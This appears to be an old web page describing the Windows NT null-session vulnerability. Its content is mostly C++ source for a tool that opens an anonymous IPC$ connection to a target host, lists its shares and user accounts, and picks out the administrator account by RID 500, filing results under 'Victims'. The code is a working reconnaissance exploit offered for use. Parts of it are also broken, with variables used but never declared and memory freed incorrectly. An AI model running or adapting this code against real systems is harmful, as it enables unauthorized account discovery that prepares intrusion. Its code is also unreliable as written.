|
NT Null Session Admin Name Vulnerability
First - making a NULL Session connection One way to this is by using the Net Use command with an empty password. Programmatically, it looks like this.... //This function called from dialog that fills listbox with connections BOOL EstablishNullSession(CString TargetHost, CNTOHunterDlg* pDlg) { //Setup for UNICODE char* pTemp = TargetHost.GetBuffer(256); WCHAR wszServ[256]; LPWSTR Server = NULL; //Convert to Unicode MultiByteToWideChar(CP_ACP, 0, pTemp, strlen(pTemp)+1, wszServ, sizeof(wszServ)/sizeof(wszServ[0]) ); //Create the IPC$ share connection string we need Server = wszServ; LPCWSTR szIpc = L"\\IPC$"; WCHAR RemoteResource[UNCLEN + 5 + 1]; // UNC len + \IPC$ + NULL DWORD dwServNameLen; DWORD dwRC; //Setup Win32 structures and variables we need NET_API_STATUS nas; USE_INFO_2 ui2; SHARE_INFO_1* pSHInfo1 = NULL; DWORD dwEntriesRead; DWORD dwTotalEntries; //Set up handles to tree control to insert connection results HTREEITEM machineRoot, shareRoot, userRoot, adminRoot, attribRoot; char sharename[256]; char remark[256]; if(Server == NULL || *Server == L'\0') { SetLastError(ERROR_INVALID_COMPUTERNAME); return FALSE; } dwServNameLen = lstrlenW( Server ); //Test for various errors in connection string and recover if(Server[0] != L'\\' && Server[1] != L'\\') { // prepend slashes and NULL terminate RemoteResource[0] = L'\\'; RemoteResource[1] = L'\\'; RemoteResource[2] = L'\0'; } else { dwServNameLen -= 2; // drop slashes from count RemoteResource[0] = L'\0'; } if(dwServNameLen > CNLEN) { SetLastError(ERROR_INVALID_COMPUTERNAME); return FALSE; } if(lstrcatW(RemoteResource, Server) == NULL) return FALSE; if(lstrcatW(RemoteResource, szIpc) == NULL) return FALSE; //Start with clean memory ZeroMemory(&ui2, sizeof(ui2)); //Fill in the Win32 network structure we need to use connect API ui2.ui2_local = NULL; ui2.ui2_remote = (LPTSTR) RemoteResource; ui2.ui2_asg_type = USE_IPC; ui2.ui2_password = (LPTSTR) L""; //SET PASSWORD TO NULL ui2.ui2_username = (LPTSTR) L""; ui2.ui2_domainname = (LPTSTR) L""; //MAKE THE NULL SESSION CALL nas = NetUseAdd(NULL, 2, (LPBYTE)&ui2, NULL); dwRC = GetLastError(); if( nas == NERR_Success ) { machineRoot = pDlg->m_Victims.InsertItem(TargetHost, 0, 0, TVI_ROOT); } //THIS IS WHERE NT HANDS OUT IT INFORMATION nas = NetShareEnum((char*)Server, 1, (LPBYTE*)&pSHInfo1, MAX_PREFERRED_LENGTH, &dwEntriesRead, &dwTotalEntries, NULL); dwRC = GetLastError(); if( nas == NERR_Success ) { if(dwTotalEntries > 0) { shareRoot = pDlg->m_Victims.InsertItem("Shares", machineRoot,TVI_LAST); userRoot = pDlg->m_Victims.InsertItem("Users", machineRoot,TVI_LAST); adminRoot = pDlg->m_Victims.InsertItem("Admin", machineRoot,TVI_LAST); } for(int x=0; x<(int)dwTotalEntries; x++) { // Convert back to ANSI WideCharToMultiByte(CP_ACP, 0, (const unsigned short*)pSHInfo1->shi1_netname, -1, sharename, 256, NULL, NULL ); WideCharToMultiByte( CP_ACP, 0, (const unsigned short*)pSHInfo1->shi1_remark, -1, remark, 256, NULL, NULL ); CString ShareDetails = sharename; ShareDetails = ShareDetails + " - " + remark; //fill the tree with connect info attribRoot = pDlg->m_Victims.InsertItem(ShareDetails, shareRoot,TVI_LAST); pSHInfo1++; } } //My Wrapper function for listing users - see below DoNetUserEnum(Server, pDlg, userRoot, adminRoot); //WE ARE DONE, SO KILL THE CONNECTION nas = NetUseDel(NULL, (LPTSTR) RemoteResource, 0); TargetHost.ReleaseBuffer(); SetLastError( nas ); return FALSE; } The following function is how one can programmatically determine the administrator status of an account...... bool GetAdmin(char* pServer, char* pUser, CString& Name) { BOOL fAdmin = FALSE; DWORD dwDomainName,dwSize,dwAdminVal; SID_NAME_USE use; PSID pUserSID = NULL; // SID for user int rc; int iSubCount; bool bFoundHim = 0; dwDomainName = 256; dwSize = 0; dwAdminVal = 0; iSubCount = 0; //Call API for buffer size since we don't know size beforehand rc = LookupAccountName(pServer, pUser, pUserSID, &dwSize, szDomainName, &dwDomainName, &use ); rc = GetLastError(); //Allocate a larger buffer if(rc == ERROR_INSUFFICIENT_BUFFER) { pUserSID = (PSID) malloc(dwSize); //Repeat call now that we have the right size buffer rc = LookupAccountName(pServer, pUser, pUserSID, &dwSize, szDomainName, &dwDomainName, &use ); } //Scan the SIDS for the golden key - ADMIN == 500 //Get a count of SID's iSubCount = (int)*(GetSidSubAuthorityCount(pUserSID)); //Admin SID is the last element in the count dwAdminVal = *(GetSidSubAuthority(pUserSID, iSubCount-1)); if(dwAdminVal==500) //TEST TO SEE IF THIS IS THE ADMIN { Name.Format("Admin is %s\\%s\n", szDomainName, pUser); bFoundHim = true; } delete pUserSID; return bFoundHim; //WE KNOW WHO HE IS, ADD HIM TO THE TREE } Wrapper for Listing the user accounts..... void DoNetUserEnum(const wchar_t* pServer, CNTOHunterDlg* pDlg, HTREEITEM userRoot, HTREEITEM adminRoot) { USER_INFO_10 *pUserbuf, *pCurUser; DWORD dwRead, dwRemaining, dwResume, dwRC; char userName[256]; char userServer[256]; dwResume = 0; if(pServer[0] != L'\\' && pServer[1] != L'\\') { //Start sting with correct UNC slashes and NULL terminate RemoteResource[0] = L'\\'; RemoteResource[1] = L'\\'; RemoteResource[2] = L'\0'; } else { dwServNameLen -= 2; // drop slashes from count RemoteResource[0] = L'\0'; } if(dwServNameLen > CNLEN) { SetLastError(ERROR_INVALID_COMPUTERNAME); return; } if(lstrcatW(RemoteResource, pServer) == NULL) return; do { pUserbuf = NULL; //THIS IS THE API THE NT USES TO HAND OUT IT's LIST dwRC = NetUserEnum(RemoteResource, 10, 0, (BYTE**) &pUserbuf, 1024, &dwRead, &dwRemaining, &dwResume); if (dwRC != ERROR_MORE_DATA && dwRC != ERROR_SUCCESS) break; DWORD i; for(i = 0, pCurUser = pUserbuf; i < dwRead; ++i, ++pCurUser) { // Convert back to ANSI. WideCharToMultiByte( CP_ACP, 0, pCurUser->usri10_name, -1, userName, 256, NULL, NULL ); // Convert back to ANSI. WideCharToMultiByte( CP_ACP, 0, pServer, -1, userServer, 256, NULL, NULL ); if(!GotAdmin) { //use char strings CString Admin; GotAdmin = GetAdmin(userServer, userName, Admin); if(GotAdmin) { Admin.TrimRight(); HTREEITEM adminChild = pDlg->m_Victims.InsertItem(Admin, adminRoot, TVI_LAST); pDlg->m_Victims.EnsureVisible(adminChild); } } CString strUserName = userName; pDlg->m_Victims.InsertItem(strUserName, userRoot, TVI_LAST); } if (pUserbuf != NULL) NetApiBufferFree(pUserbuf); } while (dwRC == ERROR_MORE_DATA); if (dwRC != ERROR_SUCCESS) printf("NUE() returned %lu\n", dwRC); } |
|
|
Privacy Statement |